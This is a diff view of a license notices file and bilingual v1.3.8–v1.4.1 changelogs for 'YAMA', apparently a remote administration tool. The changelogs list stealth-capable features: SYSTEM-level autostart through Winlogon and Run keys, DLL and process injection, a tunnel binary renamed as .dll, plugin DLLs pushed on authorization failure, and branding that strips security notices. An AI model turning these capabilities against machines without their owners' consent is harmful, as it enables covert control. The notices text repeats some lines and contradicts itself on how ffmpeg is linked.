ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
GoogleTest is used only to build and run the unit tests under test/; it is not
|
||||
shipped with the product.
|
||||
|
||||
================================================================================
|
||||
18. Apache License 2.0 components
|
||||
================================================================================
|
||||
The following components are licensed under the Apache License, Version 2.0
|
||||
(https://www.apache.org/licenses/LICENSE-2.0). A copy of the license is
|
||||
available at that URL and will be provided on request.
|
||||
|
||||
OpenSSL (Linux / macOS builds only)
|
||||
Copyright (c) 1998-2024 The OpenSSL Project Authors
|
||||
Used by the Linux/macOS client for TLS (client/TlsChannelLinux.cpp) and
|
||||
by libsign.a for HMAC. OpenSSL 3.x is Apache-2.0; builds against OpenSSL
|
||||
1.1.1 or earlier fall under the original OpenSSL/SSLeay license, which is
|
||||
included with that distribution.
|
||||
|
||||
FRP (frpc / frps)
|
||||
Copyright 2016-2024 fatedier, fatedier@gmail.com, and The FRP Authors
|
||||
Bundled as Bin/res/frpc.dll and Bin/res/frps.dll.
|
||||
Version: v0.69.2-0.20260605064132-d58c00d0332c (commit d58c00d0332c).
|
||||
NOTE: the bundled binaries report a "+dirty" build, i.e. the FRP sources
|
||||
were modified locally. Apache-2.0 section 4(b) requires modified files to
|
||||
carry prominent notices stating that they were changed.
|
||||
|
||||
ip2region (xdb v4)
|
||||
Copyright 2019-2024 lionsoul2014 and contributors
|
||||
Data file: Bin/ip2region_v4.xdb
|
||||
|
||||
androidx.core:core-ktx 1.13.1
|
||||
androidx.appcompat:appcompat 1.7.0
|
||||
Copyright (C) 2005-2024 The Android Open Source Project
|
||||
Used by the Android client (Bin/ghost.apk).
|
||||
|
||||
Kotlin standard library 2.1.21
|
||||
Copyright 2010-2024 JetBrains s.r.o. and Kotlin Programming Language
|
||||
contributors
|
||||
Used by the Android client (Bin/ghost.apk).
|
||||
|
||||
================================================================================
|
||||
19. ffmpeg v7.1 (GNU Lesser General Public License v2.1)
|
||||
================================================================================
|
||||
This software uses libraries from the FFmpeg project (v7.1), licensed under the
|
||||
GNU Lesser General Public License (LGPL) version 2.1.
|
||||
FFmpeg is a trademark of Fabrice Bellard, originator of the FFmpeg project.
|
||||
|
||||
Our product links to FFmpeg dynamically as a shared library (.dll/.so/.dylib)
|
||||
and does NOT enable any GPL-licensed plugins (such as x264).
|
||||
The FFmpeg libraries were built WITHOUT any GPL-licensed components, so the
|
||||
FFmpeg binaries themselves are covered by LGPL v2.1 and not by the GPL. The
|
||||
configure line embedded in libavutil is:
|
||||
|
||||
The source code of FFmpeg v7.1 can be obtained from the official FFmpeg
|
||||
website (https://ffmpeg.org). If you require the exact build script and build
|
||||
configuration used by our product to build the FFmpeg binary, please contact
|
||||
our open-source compliance team.
|
||||
--toolchain=msvc --arch=x86_64 --target-os=win64 --enable-static
|
||||
--disable-shared --extra-cflags=-MT --extra-cxxflags=-MT --disable-everything
|
||||
--disable-all --enable-avcodec --enable-avutil --enable-swresample
|
||||
--enable-decoder=h264 --enable-decoder=aac --enable-decoder=aac_latm
|
||||
--enable-decoder=pcm_s16le --enable-decoder=pcm_s16be --enable-decoder=pcm_f32le
|
||||
--enable-parser=h264 --enable-parser=aac --enable-parser=aac_latm
|
||||
--disable-iconv --disable-zlib --disable-bzlib --disable-lzma --disable-sdl2
|
||||
--disable-doc --disable-programs --disable-network --disable-encoders
|
||||
--disable-muxers --disable-demuxers --disable-filters --disable-devices
|
||||
--disable-bsfs --disable-debug --enable-small --prefix=./install-win64
|
||||
|
||||
Note that this build is DECODE ONLY (--disable-encoders): it provides the
|
||||
H.264/AAC/PCM decoders used to display remote screens, and contains no
|
||||
encoder of any kind. The hardware-encoder paths in the client therefore cannot
|
||||
be satisfied by these libraries, and software H.264 encoding is provided
|
||||
exclusively by x264 (section 21).
|
||||
|
||||
HOW IT IS LINKED: on Windows the FFmpeg libraries (libavcodec, libavutil,
|
||||
libswresample) are linked STATICALLY into the client and server executables
|
||||
(see the #pragma comment(lib, "ffmpeg/...") directives in
|
||||
client/CFFmpegH264Encoder.cpp, client/CFFmpegAV1Encoder.cpp and
|
||||
server/2015Remote/ScreenSpyDlg.h). No FFmpeg DLL is shipped.
|
||||
|
||||
Because the linking is static, LGPL v2.1 section 6 applies: recipients are
|
||||
entitled to modify FFmpeg and relink it with this product. To satisfy that,
|
||||
the following are available on request from the author:
|
||||
- the exact FFmpeg build scripts and configuration used (quoted above);
|
||||
- the object files of the product sufficient to relink it against a
|
||||
modified FFmpeg.
|
||||
|
||||
To build without FFmpeg entirely, set DISABLE_FFMPEG_FOR_TEST to 1 in
|
||||
common/config.h; the encoder implementations and the FFmpeg include paths are
|
||||
then removed from the build, and the compress/ffmpeg/ directory is no longer
|
||||
needed at all.
|
||||
|
||||
The source code of FFmpeg v7.1 can be obtained from the official FFmpeg
|
||||
website (https://ffmpeg.org).
|
||||
|
||||
================================================================================
|
||||
10. MemoryModule (Mozilla Public License v2.0)
|
||||
20. MemoryModule (Mozilla Public License v2.0)
|
||||
================================================================================
|
||||
This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0.
|
||||
If a copy of the MPL was not distributed with this file, You can obtain one at
|
||||
This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0.
|
||||
If a copy of the MPL was not distributed with this file, You can obtain one at
|
||||
http://mozilla.org/MPL/2.0/.
|
||||
|
||||
MemoryModule is Copyright (c) Joachim Bauch.
|
||||
|
||||
Under the terms of the MPL 2.0, you may distribute this component as part of
|
||||
your commercial/proprietary application without being required to open-source
|
||||
Under the terms of the MPL 2.0, you may distribute this component as part of
|
||||
your commercial/proprietary application without being required to open-source
|
||||
your own proprietary code, provided that:
|
||||
1. MemoryModule source files remain unmodified, or if modified, those modifications
|
||||
1. MemoryModule source files remain unmodified, or if modified, those modifications
|
||||
are made available under the MPL 2.0.
|
||||
2. Users are informed that MemoryModule is used and where they can find its source.
|
||||
2. Users are informed that MemoryModule is used and where they can find its source.
|
||||
|
||||
================================================================================
|
||||
21. x264 v0.164.3194 (GNU General Public License v2.0)
|
||||
================================================================================
|
||||
The Windows build links libx264 statically for software H.264 encoding, used as
|
||||
the CPU fallback when hardware encoders are unavailable (see
|
||||
client/X264Encoder.cpp, client/EncoderFactory.h).
|
||||
|
||||
x264 is Copyright (C) 2003-2024 x264 project (Laurent Aimar, Loren Merritt,
|
||||
Fiona Glaser, Jason Garrett-Glaser, Steven Walters and contributors) and is
|
||||
licensed under the GNU General Public License version 2.0, not the LGPL.
|
||||
Commercial licenses for x264 are available from x264 LLC
|
||||
(https://www.x264licensing.com).
|
||||
|
||||
CONSEQUENCE: a binary that statically links x264 is, as a whole, a work
|
||||
covered by the GPL v2.0 and must be distributed under GPL v2.0 terms
|
||||
(accompanying complete corresponding source code, or a written offer valid for
|
||||
three years), unless it is covered by a commercial x264 license.
|
||||
|
||||
To build without x264, set DISABLE_X264_FOR_TEST to 1 in common/config.h. The
|
||||
x264 header is then no longer included and libx264 is no longer linked, so a
|
||||
compliant build needs neither the x264 library nor its headers; the
|
||||
compress/x264/ directory can be deleted outright.
|
||||
|
||||
IMPORTANT CONSEQUENCE: because the bundled FFmpeg is a decode-only build (see
|
||||
section 19), x264 is the ONLY H.264 encoder in the product. A build with
|
||||
DISABLE_X264_FOR_TEST=1 therefore has no H.264 encoder at all, and the client
|
||||
falls back to raw RGB565 frames (client/ScreenCapture.h). Keeping H.264 while
|
||||
staying GPL-free requires replacing x264 with an LGPL-compatible or licensed
|
||||
encoder, or obtaining a commercial x264 license.
|
||||
|
||||
The text of the GPL v2.0 is available at https://www.gnu.org/licenses/old-licenses/gpl-2.0.html
|
||||
and is provided with any binary that includes x264.
|
||||
|
||||
================================================================================
|
||||
22. QQWry / 纯真 IP database (custom terms)
|
||||
================================================================================
|
||||
Bin/qqwry.dat is the QQWry (纯真) IP geolocation database, published by
|
||||
cz88.net (https://www.cz88.net/). It is not open source and is not covered by
|
||||
any of the licenses above. The publisher's terms permit free use for
|
||||
non-commercial purposes; redistribution inside a commercial product requires
|
||||
the publisher's permission.
|
||||
|
||||
The product does not require this file. IP geolocation is selected at runtime
|
||||
by the settings key settings/IPLocType: 1 uses qqwry.dat, 2 uses the ip2region
|
||||
database (Bin/ip2region_v4.xdb, Apache-2.0). If the selected database cannot be
|
||||
loaded, the server logs "IP数据库加载: failed" and falls back to a built-in
|
||||
converter that returns no location, so shipping without qqwry.dat is supported
|
||||
as long as IPLocType is set to 2.
|
||||
|
||||
================================================================================
|
||||
END OF NOTICES
|
||||
================================================================================
|
||||
@@ -378,6 +378,107 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||
|
||||
## 更新日志
|
||||
|
||||
### v1.4.1 (2026.10.20)
|
||||
|
||||
**Web 运维控制台 & 安全加固 & 单向 TLS**
|
||||
|
||||
**新功能:**
|
||||
- **Web 屏幕墙**:同一标签页以 1×1 ~ 5×5 布局同时监控多台设备,桌面 9 路 / 触控 4 路实时解码,超出预算暂停并自动晋升;点击 tile 进入单画面控制;同一设备可重复添加并共享一路流;MFC 与 Go 服务端同步支持(旧前端 / 旧服务端自动降级)
|
||||
- **安全审计日志**:登录 / 授权拒绝 / WS 生命周期 / 屏幕与终端会话 / 剪贴板(仅字节数)/ 设备认证 / 管理变更;Go 端持久化 `logs/audit.log`,MFC 端保留最近 1000 条内存环形缓冲;Web 新增审计日志查询页(时间 / 事件 / 操作者 / IP / 设备 / 关键字 / 告警过滤 + 分页)
|
||||
- **离线设备历史(Go)**:`devices.json` 持久化所有登录过的设备,设备列表可按需显示离线记录;管理员可删除记录或对在线设备执行远程卸载
|
||||
- **单向 TLS 传输**:设备端口同一端口嗅探 ClientHello,TLS 1.2 客户端加密、旧明文客户端不受影响;MFC「扩展 > TLS证书」运行时配置;在线列表新增 TLS 列,右键可远程启用 / 取消(客户端下次启动生效)
|
||||
- **Web 远程桌面增强**:Ctrl+C/X/V 双向文本剪贴板同步、手机「I」输入框(经剪贴板桥注入)、登录会话跨标签页共享、管理员 SSO 桥接
|
||||
- **客户端安装位置选择**:ProgramData / ProgramFiles - Admin / SystemRoot - Admin / APPDATA / LOCALAPPDATA
|
||||
- **Go Web UI 白标**:`YAMA_WEB_BRAND_NAME` 替换产品名并移除安全提示与外链
|
||||
- **安全加固**:每 IP 连接与登录限流、单连接入站缓冲上限、屏幕 / 终端子连接绑定源 IP、可选 ConnAuth HMAC 校验
|
||||
- **克隆机 ID 去重**:V2 `client_id` 折叠主机名,撞 ID 时服务端下发 `COMMAND_REGEN_CLIENT_ID` 让客户端重算重连
|
||||
|
||||
**改进:**
|
||||
- 文件传输速度改由 MasterSettings 下发(修复重复弹窗),传输对话框标题实时显示速度
|
||||
- 客户端聊天关闭仅隐藏;日志右键新增白名单;MCP 勾选即时刷新;Web 原生 alert/confirm 全部替换为主题化应用内对话框
|
||||
- 非中文系统统一按 GBK / UTF-8 解码(对话框 / 进程列表 / 文件列表 / 路径 / 地理位置 / 主机管理 / 剪贴板)
|
||||
|
||||
**Bug 修复:**
|
||||
- 共享 / 转移主机后重启主控不重连;分享 / 转移权限误判
|
||||
- 已过期授权续期从今天起算,提示与日志显示实际到期日
|
||||
- V2 上传快捷目录未展开 `%USERPROFILE%`;无摄像头主机发送 0×0 画面信息;列切换残留像素;Go 设备端口日志刷屏;审计页最小化后跳回设备页
|
||||
|
||||
### v1.4.0 (2026.10.7)
|
||||
|
||||
**SimplePlugins 功能迁移 & 远程交互增强 & MCP 扩展 & 国际化**
|
||||
|
||||
**新功能:**
|
||||
- **SimplePlugins 功能迁移(实验功能)**:文件管理 / 隐私屏幕 / 远程画板三个功能原生迁入客户端,作为在线主机右键「实验功能」子菜单交付,配 16x16 图标(位图数组 66→69)
|
||||
- **MCP 设备管理控制工具**:新增 kill_process / operate_window / control_service / power_action(单一 McpManage 开关 + 关闭只读),ready→confirm 生命周期 + WaitSendIdle 排空出站缓冲;MCP 设置新增「管理操作」勾选、主工具栏 MCP 入口
|
||||
- **远程交谈**:「远程交谈」工具栏按钮(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)打开双向聊天,支持服务端触发屏幕锁 / 解锁
|
||||
- **TCP/UDP 连接管理**:工具栏按钮列出受管主机 TCP/UDP 连接,右键强制断开 IPv4 TCP(iphlpapi 枚举 + CConnectionsDlg)
|
||||
- **主机管理**:迁移 CMachineManager(进程 / 窗口 / 网络 / 软件 / IE 历史 / 收藏夹 / 服务 / 任务 / hosts 枚举 + 进程注入),COMMAND_MACHINE_MANAGE 162
|
||||
- **授权失败触发器**:新增 TRIGGER_AUTH_FAILED 触发类型(与主机上线触发独立),授权失败时下发插件 DLL,受 ShouldLogAuth 去重约束
|
||||
- **iPhone 远程音频**:WebAudio + 自托管 opus-decoder WASM 解码,修复 iOS 无 MSE 静音
|
||||
- **画质与传输控制**:远程桌面 / 屏幕预览质量等级菜单(各 6 档可配置)+ 文件传输速度对话框(7 档 + 无限档,经 MasterSettings 下发)
|
||||
- **Shine/HELL 协议选择**:分享 / 传输主机时可选协议,尾随冒号字段透传,旧客户端兼容
|
||||
- **Go Web UI 子路径部署**:YAMA_WEB_BASE_PATH 挂载整个 Web UI 到 URL 前缀
|
||||
- **国际化**:德语(de_DE)第 4 种语言、语言切换工具栏按钮、剩余字符串翻译补齐;远程桌面剪贴板按钮(全屏可达)
|
||||
|
||||
**改进:**
|
||||
- 通知设置关键词改为多行输入(每行一个,存储仍分号分隔,兼容既有 notify.ini)
|
||||
|
||||
**Bug 修复:**
|
||||
- HTTP 分片续包误置 m_bShouldUnmask 致后续包丢失(进程列表 kill 后空列表)
|
||||
- 即时消息弹窗标题乱码(GBK code_page 声明)
|
||||
- geo-IP 查询阻塞主机双击提示(仅本地库加载时查询 + 进程内缓存)
|
||||
- 主机管理 IE 历史字符串泄漏(CoTaskMemFree)、隐私屏幕 0xCC 乱码日志
|
||||
|
||||
### v1.3.9 (2026.9.2)
|
||||
|
||||
**MCP 服务端集成(AI 远程管理)& 远程控制与文件传输闭环 & 主控增强**
|
||||
|
||||
**新功能:**
|
||||
- **MCP 服务端集成**:本地 `127.0.0.1:6544` 暴露 JSON-RPC 2.0 接口,Bearer Token 鉴权,「扩展 > MCP 设置」对话框配置启用 / 端口 / 绑定 / Token;23 个工具覆盖「观测 → 执行 → 控制 → 传输」全链路,默认关闭、分级开关(只读 / 白名单 / 终端 / 远程控制 / 文件传输)全面审计
|
||||
- **MCP 观测类工具(只读)**:search_hosts、get_host_detail、list_processes、list_windows、get_activity_history、list_files、get_screenshot(可选 max_width)、list_services、get_client_log、list_registry、get_audit_log;单飞请求注册表 20s 超时 + 编码修正(clientType / clientID 定位)
|
||||
- **MCP 远程终端工具**:exec_command 一次性执行 + terminal_open / terminal_exec / terminal_close 持久终端(cwd / 环境保留,空闲 300s 清扫),哨兵判定与 timeout_ms 解析修复
|
||||
- **MCP 远程控制工具**:remote_open / remote_close 会话 + remote_keyboard(key_down / up / press / type)、remote_mouse(move / click / drag / scroll)、remote_clipboard 注入;与人工 Web 查看双向互斥,会话状态机 busy / closed 加固
|
||||
- **MCP 文件传输工具**:download_file(V2 协议 + SHA-256 校验)、upload_file(主连接上传),客户端侧 `COMMAND_SEND_FILE_V2` 懒初始化 `InitFileUpload` 修复上传截断
|
||||
- **客户端活动历史**:记录活跃窗口历史(上限 500 条、跳过 <5s),主机「客户端管理」子菜单新增「活动历史」对话框,Unicode 编辑控件正确渲染 UTF-8 标题
|
||||
- **日志右键菜单三连**:消息日志右键新增「在线通知」「拉黑 IP」「解封 IP」,IPv4 提取即时生效
|
||||
- **列表排序记忆**:主机列表、进程 / 窗口列表排序偏好持久化(`list\*Sort` 注册表键),下次启动默认沿用
|
||||
|
||||
**改进:**
|
||||
- 重复连接 standby 处理:重复登录暂存 standby 待旧连接超时 / 断线后晋升,避免循环重连与误报离线
|
||||
- 远程桌面 / 虚拟屏幕对话框标题显示主机备注而非 IP(无备注回退 IP)
|
||||
- 主机列表三态排序(升序 → 降序 → 恢复默认,默认序按在线时间重建)
|
||||
- 在线主机右键三个菜单项新增图标(位图数组 63→66)
|
||||
|
||||
**Bug 修复:**
|
||||
- 客户端屏幕控制批解析错误:记录数是 7 的倍数时误判 MSG32 致注入错乱(`%48==0` 优先)
|
||||
- 心跳延迟更新 use-after-free:跨 PostMessage 持有 IoRefCount + memcpy 显式截断
|
||||
- ONLINELIST_PRIVILEGE 枚举错位损坏历史数据库(权限列移至 16)
|
||||
- 远程桌面光标跨对话框污染(改 `OnSetCursor` 逐窗口路由)
|
||||
- 客户端日志对话框 EDIT 上限停止刷新(`SetLimitText(0)`)
|
||||
- 窗口管理器视图检查读取陈旧状态、进程列表架构列排序无效、FRP / NAT 下窗口标题乱码
|
||||
|
||||
### v1.3.8 (2026.8.3)
|
||||
|
||||
**SYSTEM 权限客户端 & 主控可用性增强 & Bug 修复**
|
||||
|
||||
**新功能:**
|
||||
- **客户端 SYSTEM 权限运行**:双模式自动适配(SYSTEM / Admin / User),Winlogon + Run 双路径注册表启动;`ScreenManager` 无用户会话时自动切换 DXGI,`KernelManager` 绕过用户态 API 以 NT 路径操作;跨会话 DLL 注入(`session.cpp`)实现 SYSTEM 会话向用户会话注入控制模块
|
||||
- **在线主机权限等级列**:主机列表新增「权限」列,实时显示 SYSTEM(蓝色高亮)/ Admin / User,一眼识别受控端权限上下文
|
||||
- **远程窗口管理菜单(View Windows)**:远程桌面新增 View Windows 菜单,可枚举目标机器顶层窗口并进行最大化、最小化、隐藏、关闭操作
|
||||
- **违禁用户拉黑**:主机列表右键新增「禁止连接」,服务端发送 `COMMAND_FORBIDDEN`;客户端收到后断开连接并拒绝重连;附带 Forbidden 图标
|
||||
- **客户端运行日志对话框**:`ClientLogManager` 每 3 秒增量推送日志到主控(`TOKEN_REPORT_LOG`);推送线程 `join()` 防 use-after-free;IOCP → UI 线程 `PostMessage` 防丢包;自带图标与菜单位图
|
||||
- **消息日志搜索栏**:`LogSearchBar` 组件(286 行),关键字高亮、Prev/Next 导航跳转、Clear 清除
|
||||
- **调试菜单(YAMA_DBG)**:主菜单新增调试入口,动态输入 `YAMA_DBG` 环境变量值,无需重启主控
|
||||
|
||||
**改进:**
|
||||
- 远程桌面光标自定义设置持久化到注册表,下次自动恢复偏好
|
||||
|
||||
**Bug 修复:**
|
||||
- 32 位 / 64 位主控切换崩溃:`KeyboardManager` 参数类型兼容 + 服务端位数检查
|
||||
- Safari 移动端切回卡死:前台切回时强制重建 WebSocket + 服务端 30s 宽限期
|
||||
- `RunFileReceiver` 误注册 `ReconnectProcess` 导致文件传输结束后杀主屏幕会话
|
||||
- 隐私壁纸已设置时切换菜单再次点击执行清除而非弹框
|
||||
|
||||
### v1.3.7 (2026.6.26)
|
||||
|
||||
**Android 客户端 & 窗口捕获增强 & 安全加固**
|
||||
|
||||
+101
@@ -378,6 +378,107 @@ Valid : 2026-02-01 to 2028-02-01
|
||||
|
||||
## Changelog
|
||||
|
||||
### v1.4.1 (2026.10.20)
|
||||
|
||||
**Web operations console & security hardening & one-way TLS**
|
||||
|
||||
**New features:**
|
||||
- **Web screen wall**: monitor several devices in one tab with 1x1 to 5x5 layouts; desktop decodes up to 9 live streams and touch devices 4, tiles over budget show Paused and are promoted automatically; click a tile for single-screen control; the same device can be added repeatedly and shares one stream; supported by both the MFC and Go servers (old frontends / old servers degrade automatically)
|
||||
- **Security audit log**: login attempts, authorization denials, WebSocket lifecycle, screen / terminal sessions, clipboard (byte counts only), device authentication and admin mutations; the Go server persists to `logs/audit.log`, the MFC server keeps the newest 1000 events in an in-memory ring; new Audit Log page with time / event / actor / IP / device / keyword / warn filters and paging
|
||||
- **Offline device history (Go)**: `devices.json` persists every device that has ever logged in, and the device list can show offline records; admins can delete a record or remotely uninstall an online device
|
||||
- **One-way TLS transport**: the device port sniffs ClientHello on the same port, so TLS 1.2 clients are encrypted while legacy plaintext clients keep working; "Extensions > TLS Certificate" configures the MFC server at runtime; a TLS column and a per-client remote enable / disable action (effective on the client's next start)
|
||||
- **Web remote desktop enhancements**: bidirectional Ctrl+C/X/V text clipboard sync, a phone "I" input box that injects text through the clipboard bridge, login sessions shared across tabs, and an admin-only SSO bridge
|
||||
- **Client install location**: ProgramData / ProgramFiles - Admin / SystemRoot - Admin / APPDATA / LOCALAPPDATA
|
||||
- **White-label Go web UI**: `YAMA_WEB_BRAND_NAME` replaces the product name and removes the security notice and external links
|
||||
- **Security hardening**: per-IP connection and login rate limits, a per-connection inbound buffer cap, source-IP binding for screen / terminal sub-connections, and optional ConnAuth HMAC verification
|
||||
- **Clone ID deduplication**: the V2 `client_id` folds in the hostname; on a collision the server sends `COMMAND_REGEN_CLIENT_ID` so the client recomputes and reconnects
|
||||
|
||||
**Improvements:**
|
||||
- File-transfer speed is delivered via MasterSettings (fixes duplicate dialogs), and the transfer dialog title shows live speed
|
||||
- Closing the client chat now hides it; whitelist action in the log context menu; MCP checkmark refreshes immediately; native browser alert/confirm replaced with themed in-app dialogs
|
||||
- GBK / UTF-8 decoding across non-Chinese systems (dialogs, process list, file lists, paths, geolocation, machine management, clipboard)
|
||||
|
||||
**Bug fixes:**
|
||||
- Hosts did not reconnect after a master restart following share / transfer; share / transfer permission misjudgment
|
||||
- Expired licenses now renew from today, and prompts and logs show the actually issued date
|
||||
- V2 quick-folder uploads did not expand `%USERPROFILE%`; webcam-less hosts sent 0x0 bitmap info; stale pixels after column toggles; Go device-port log flood; audit page reset after minimizing the browser
|
||||
|
||||
### v1.4.0 (2026.10.7)
|
||||
|
||||
**SimplePlugins Feature Migration & Remote Interaction Enhancements & MCP Expansion & i18n**
|
||||
|
||||
**New features:**
|
||||
- **SimplePlugins feature migration (experimental)**: file management / privacy screen / drawing board migrated natively into the client and exposed as an "Experimental Features" right-click submenu, with 16x16 icons (bitmap array 66→69)
|
||||
- **MCP device management-control tools**: kill_process / operate_window / control_service / power_action behind a single McpManage flag (plus read-only off), with a ready→confirm lifecycle and WaitSendIdle buffer draining; "management operations" checkbox in MCP settings and an MCP toolbar entry
|
||||
- **Two-way remote chat**: a "远程交谈" toolbar button (COMMAND_CHAT 161 / TOKEN_CHAT_START 62) opens the chat dialog, with server-triggered screen lock / unlock
|
||||
- **TCP/UDP connection management**: a toolbar button lists the managed host's TCP/UDP connections with right-click force-disconnect for IPv4 TCP (iphlpapi enumeration + CConnectionsDlg)
|
||||
- **Machine management**: CMachineManager migrated (process / window / network / software / IE history / favorites / service / task / hosts enumeration plus process injection), COMMAND_MACHINE_MANAGE 162
|
||||
- **Auth-failed trigger**: new TRIGGER_AUTH_FAILED type (independent of the host-online trigger) pushes plugin DLLs on authorization failure, gated by ShouldLogAuth dedup
|
||||
- **iPhone remote audio**: Web Audio API + self-hosted opus-decoder WASM decoding fixes silent audio on iOS without MSE
|
||||
- **Quality & transfer controls**: configurable remote-desktop / screen-preview quality-level menus (six presets each) plus a file-transfer speed dialog (seven presets + unlimited, delivered via MasterSettings)
|
||||
- **Shine/HELL protocol selection**: choose the protocol when sharing / transferring a host, passed as a trailing colon field, backward compatible
|
||||
- **Go web UI subpath deployment**: YAMA_WEB_BASE_PATH mounts the whole web UI under a URL prefix
|
||||
- **i18n**: German (de_DE) as the fourth language, a language-switch toolbar button, remaining string translations; remote-desktop clipboard buttons (reachable in fullscreen)
|
||||
|
||||
**Improvements:**
|
||||
- Notification keyword input is now multi-line (one keyword per line; the stored format stays semicolon-separated, compatible with existing notify.ini)
|
||||
|
||||
**Bug fixes:**
|
||||
- HTTP continuation chunks mis-set m_bShouldUnmask, dropping subsequent packets (blank process list after kill)
|
||||
- Garbled instant-message popup title (GBK code_page declaration)
|
||||
- geo-IP lookup blocking the host double-click tooltip (only queried when a local DB is loaded, plus in-process caching)
|
||||
- Machine-management IE-history string leak (CoTaskMemFree) and privacy-screen 0xCC garbled logs
|
||||
|
||||
### v1.3.9 (2026.9.2)
|
||||
|
||||
**MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**
|
||||
|
||||
**New features:**
|
||||
- **MCP server integration**: local JSON-RPC 2.0 endpoint on `127.0.0.1:6544` with Bearer token auth, configured via "Extensions > MCP Settings"; 23 tools spanning observe → execute → control → transfer, disabled by default with per-tier gates (read-only / whitelist / terminal / remote control / file transfer) and full audit logging
|
||||
- **MCP read-only observation tools**: search_hosts, get_host_detail, list_processes, list_windows, get_activity_history, list_files, get_screenshot (optional max_width), list_services, get_client_log, list_registry, get_audit_log; single-flight pending registry with 20s timeout, plus encoding fixes (clientType / clientID resolution)
|
||||
- **MCP remote terminal tools**: one-shot exec_command plus persistent terminal_open / terminal_exec / terminal_close (cwd and environment preserved, 300s idle sweep); sentinel detection and timeout_ms parsing fixes
|
||||
- **MCP remote control tools**: remote_open / remote_close sessions plus remote_keyboard (key_down / up / press / type), remote_mouse (move / click / drag / scroll), and remote_clipboard injection; two-way mutual exclusion with human Web viewing and a hardened busy/closed session state machine
|
||||
- **MCP file transfer tools**: download_file (V2 protocol + SHA-256 verification) and upload_file (main-connection upload); client-side lazy `InitFileUpload` in `COMMAND_SEND_FILE_V2` fixes truncated uploads
|
||||
- **Client activity history**: records active-window history (capped at 500 entries, skips <5s); new "Activity History" item under the host's Client Management menu with a Unicode edit control for correct UTF-8 title rendering
|
||||
- **Log context-menu trio**: right-click "Online Notify", "Ban IP", and "Unban IP" on the message log, with IPv4 extraction applied immediately
|
||||
- **Sort preference memory**: host list and process/window list sort preferences persisted (`list\*Sort` registry keys), restored on next launch
|
||||
|
||||
**Improvements:**
|
||||
- Duplicate connections parked as standby and promoted after the old connection times out / disconnects, avoiding reconnect loops and false offline notifications
|
||||
- Remote desktop and virtual screen dialog titles show the host remark instead of the IP (falling back to IP)
|
||||
- Three-state host list sorting (ascending → descending → restore default, default rebuilt by online time)
|
||||
- Icons added to three online-host context menu items (bitmap array 63→66)
|
||||
|
||||
**Bug fixes:**
|
||||
- Client screen-control batch misparse: record count that is a multiple of 7 was misclassified as MSG32, garbling injected input (`%48==0` checked first)
|
||||
- Heartbeat deferred-update use-after-free: IoRefCount held across PostMessage plus explicit memcpy truncation
|
||||
- ONLINELIST_PRIVILEGE enum shift corrupted the history host database (column moved to 16)
|
||||
- Remote desktop cursor cross-contamination across dialogs (routed via `OnSetCursor` per window)
|
||||
- Client log dialog stopped refreshing past the EDIT control limit (`SetLimitText(0)`)
|
||||
- Window manager view check reading stale state, process-list architecture column sort no-op, and FRP/NAT window-title mojibake
|
||||
|
||||
### v1.3.8 (2026.8.3)
|
||||
|
||||
**SYSTEM-level Client & Master Usability Enhancements & Bug Fixes**
|
||||
|
||||
**New features:**
|
||||
- **Client running as SYSTEM**: dual-mode auto-detection (SYSTEM / Admin / User), Winlogon + Run dual-path registry startup; `ScreenManager` auto-switches to DXGI when there is no user session; `KernelManager` bypasses user-mode APIs using NT paths; cross-session DLL injection (`session.cpp`) from SYSTEM to user session for desktop interaction
|
||||
- **Privilege column in host list**: new "Privilege" column shows real-time permission level — **SYSTEM** (blue highlight), Admin, or User — instantly identifying each controlled endpoint's privilege context
|
||||
- **View Windows menu for remote desktop**: new View Windows menu item enumerates all top-level windows on the target machine; supports maximize, minimize, hide, and close operations without leaving the remote desktop view
|
||||
- **Forbid user (violation blacklist)**: right-click host list "Forbidden" sends `COMMAND_FORBIDDEN`; client disconnects and refuses reconnection to the same server; companion bitmap icon in menu
|
||||
- **Client runtime log dialog**: `ClientLogManager` pushes incremental logs every 3s to the master (`TOKEN_REPORT_LOG`); push thread uses `join()` to prevent use-after-free; IOCP → UI thread via `PostMessage` to prevent dropped packets; dialog icon and menu bitmap included
|
||||
- **Message log search bar**: `LogSearchBar` component (286 lines) with keyword highlighting, Prev/Next navigation, and Clear button
|
||||
- **Debug menu (YAMA_DBG)**: new menu entry to input `YAMA_DBG` environment variable at runtime — no restart needed
|
||||
|
||||
**Improvements:**
|
||||
- Remote desktop cursor customization settings now persisted to registry; preferences restored automatically on next session
|
||||
|
||||
**Bug fixes:**
|
||||
- 32-bit / 64-bit master crash on switch: `KeyboardManager` parameter type compatibility + server-side bitness check
|
||||
- Safari mobile Web remote desktop freeze on app-switch: force-clean WebSocket reconnect on foreground return + 30s server-side grace period
|
||||
- `RunFileReceiver` incorrectly registering `ReconnectProcess`, killing the main screen session on file transfer completion
|
||||
- Privacy wallpaper toggle menu now clears instead of re-picking when wallpaper is already set
|
||||
|
||||
### v1.3.7 (2026.6.26)
|
||||
|
||||
**Android Client & Window Capture & Security Hardening**
|
||||
|
||||
+101
@@ -378,6 +378,107 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||
|
||||
## 更新日誌
|
||||
|
||||
### v1.4.1 (2026.10.20)
|
||||
|
||||
